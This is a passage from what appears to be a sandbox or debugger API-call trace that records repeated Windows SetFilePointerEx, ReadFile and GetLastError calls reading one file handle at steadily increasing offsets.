(in: hFile=0x1f4, liDistanceToMove=0x30, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.543] GetLastError () returned 0x0 [0068.543] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x38, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.543] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.543] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x38, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.543] GetLastError () returned 0x0 [0068.543] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.543] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.543] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.543] GetLastError () returned 0x0 [0068.543] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x48, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.544] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.544] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x48, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.544] GetLastError () returned 0x0 [0068.544] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x50, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.544] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.544] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x50, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.544] GetLastError () returned 0x0 [0068.544] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x58, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.544] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.545] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x58, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.545] GetLastError () returned 0x0 [0068.545] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.545] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.545] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.545] GetLastError () returned 0x0 [0068.545] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x68, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.545] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.545] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x68, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.545] GetLastError () returned 0x0 [0068.545] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x70, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.546] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.546] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x70, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.546] GetLastError () returned 0x0 [0068.546] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x78, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.546] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.546] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x78, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.546] GetLastError () returned 0x0 [0068.546] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x80, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.546] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.547] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x80, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.547] GetLastError () returned 0x0 [0068.547] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x88, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.547] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.547] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x88, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.547] GetLastError () returned 0x0 [0068.547] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x90, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.547] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.547] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x90, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.547] GetLastError () returned 0x0 [0068.547] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x98, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.548] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.548] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x98, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.548] GetLastError () returned 0x0 [0068.548] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xa0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.548] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.548] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xa0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.548] GetLastError () returned 0x0 [0068.548] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.548] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.549] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.549] GetLastError () returned 0x0 [0068.549] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.549] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.549] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.549] GetLastError () returned 0x0 [0068.549] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xb8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.549] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.549] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xb8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.549] GetLastError () returned 0x0 [0068.549] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xc0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.550] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.550] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xc0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.550] GetLastError () returned 0x0 [0068.550] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.550] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.550] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.550] GetLastError () returned 0x0 [0068.550] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.550] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.551] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.551] GetLastError () returned 0x0 [0068.551] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xd8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.551] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.551] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xd8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.551] GetLastError () returned 0x0 [0068.551] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.551] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.551] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.551] GetLastError () returned 0x0 [0068.551] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xe8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.552] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.552] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xe8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.552] GetLastError () returned 0x0 [0068.552] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.552] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.552] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.552] GetLastError () returned 0x0 [0068.552] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xf8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.552] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.553] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xf8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.553] GetLastError () returned 0x0 [0068.553] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x100, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.553] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.553] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x100, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.553] GetLastError () returned 0x0 [0068.553] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x108, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.553] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.553] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x108, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.553] GetLastError () returned 0x0 [0068.553] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x110, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.554] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.554] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x110, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.554] GetLastError () returned 0x0 [0068.554] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x118, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.554] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.554] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x118, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.554] GetLastError () returned 0x0 [0068.554] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x120, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.554] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.555] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x120, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.555] GetLastError () returned 0x0 [0068.555] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x128, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.555] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.555] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x128, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.555] GetLastError () returned 0x0 [0068.555] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x130, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.555] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.555] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x130, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.555] GetLastError () returned 0x0 [0068.555] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x138, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.556] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.556] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x138, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.556] GetLastError () returned 0x0 [0068.556] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x140, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.556] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.556] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x140, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.556] GetLastError () returned 0x0 [0068.556] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x148, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.556] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.557] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x148, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.557] GetLastError () returned 0x0 [0068.557] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x150, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.557] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.557] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x150, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.557] GetLastError () returned 0x0 [0068.557] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x158, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.557] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.557] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x158, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.557] GetLastError () returned 0x0 [0068.557] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x160, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.558] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.558] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x160, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.558] GetLastError () returned 0x0 [0068.558] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x168, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.558] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.558] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x168, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.558] GetLastError () returned 0x0 [0068.558] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x170, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.558] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.559] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x170, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.559] GetLastError () returned 0x0 [0068.559] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x178, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.559] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.559] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x178, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.559] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x180, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.559] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.559] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x180, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.559] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x188, 